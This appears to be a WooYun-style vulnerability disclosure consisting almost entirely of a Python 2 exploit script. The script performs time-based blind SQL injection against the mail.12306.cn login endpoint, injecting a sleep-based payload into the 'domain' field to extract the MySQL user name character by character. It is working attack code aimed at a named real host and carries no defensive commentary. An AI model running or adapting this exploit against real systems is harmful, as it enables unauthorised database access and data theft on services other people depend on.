WooYun.org

mail@localhost

mail

#encoding=gbk
import urllib2
import re
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Cookie': '',
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
html_doc = urllib2.urlopen('http://mail.12306.cn/app/mail/entry').read()
sid = re.search('name=sid value="([^"]+)"', html_doc).group(1)
print 'start to retrive MySQL user:'
user = ''
for i in range(1,15):
    count = 0
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('mail.12306.cn', timeout=60)
            s = "123'XOR(if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(5),0))OR'bbb" % (i, ord(payload) )
            params = {
                'id': '1',
                'lang': 'zh_cn',
                'pwd': 'test',
                'remember': 'on',
                'sid': sid,
                'style': 'classic',
                'domain': s
            }
            conn.request(method='POST',
                         url='/app/mail/login',
                         body = urllib.urlencode(params),
                         headers = headers)
            start_time = time.time()
            html_doc = conn.getresponse().read()
            conn.close()
            if time.time() - start_time > 5:
                raise Exception('oooooooops')
            count += 1
            sys.stdout.write('\r'+ '.' * count)
            sys.stdout.flush()
        except:
            user += payload
            print '\r[In progress]', user
            break
print '\n[Done]MySQL user is', user